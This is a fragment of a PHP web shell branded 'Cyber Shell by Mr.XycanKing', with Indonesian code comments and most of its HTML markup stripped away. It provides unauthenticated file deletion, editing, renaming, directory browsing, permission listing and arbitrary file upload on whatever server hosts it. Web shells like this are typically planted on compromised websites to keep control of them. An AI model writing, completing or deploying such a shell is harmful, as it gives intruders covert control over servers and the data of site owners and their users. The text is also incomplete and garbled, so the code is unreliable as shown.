Cyber Shell by Mr.XycanKing

ITEM DELETED: $file_to_del"; } else { echo "
DELETE FAILED!
"; } } // --- LOGIKA EDIT & RENAME (Tampil di atas list) --- if (isset($_POST['save_edit'])) { $file = $_POST['file_path']; $content = $_POST['content']; if (@file_put_contents($file, $content)) { echo "
FILE SAVED!
"; } } if (isset($_POST['exec_rename'])) { $old = $_POST['old_path']; $new = $_POST['new_name']; $new_path = dirname($old).'/'.$new; if (@rename($old, $new_path)) { echo "
RENAMED TO: $new
"; } } // --- Tampilan PATH --- echo '
PATH: '; $paths = explode('/', $path); foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo '/'; continue; } if ($pat == '') continue; echo ''.$pat.'/'; } echo '
'; // --- FORM EDIT --- if (isset($_GET['action']) && $_GET['action'] == 'edit') { $file = $_GET['item']; $content = htmlspecialchars(file_get_contents($file)); echo "

BACK
"; } // --- FORM RENAME --- elseif (isset($_GET['action']) && $_GET['action'] == 'rename') { $file = $_GET['item']; echo "
RENAME: BACK
"; } // --- DEFAULT DISPLAY (UPLOADER & LIST) --- else { echo "

FILE:

"; if (isset($_POST["up"])) { $dest = $path . "/" . $_FILES["index"]["name"]; if (@copy($_FILES["index"]["tmp_name"], $dest)) { echo "
SUCCESS UPLOAD!
"; } else { echo "
UPLOAD FAILED!
"; } } echo ""; $dirs = scandir($path); // Listing Dirs foreach ($dirs as $dir) { if (!is_dir("$path/$dir") || $dir == '.') continue; if ($dir == '..') { echo ""; } else { echo ""; } } // Listing Files foreach ($dirs as $file) { if (!is_file("$path/$file")) continue; $size = round(filesize("$path/$file") / 1024, 2) . " KB"; $perm = is_writable("$path/$file") ? "" : ""; $perm .= substr(sprintf('%o', fileperms("$path/$file")), -4) . ""; echo ""; } echo "
Name Size Permission Action
[ .. ]------
[ $dir ] DIR ".substr(sprintf('%o', fileperms("$path/$dir")), -4)." [R] [D]
$file $size $perm [E] [R] [D]
"; } ?>

© Mr.XycanKing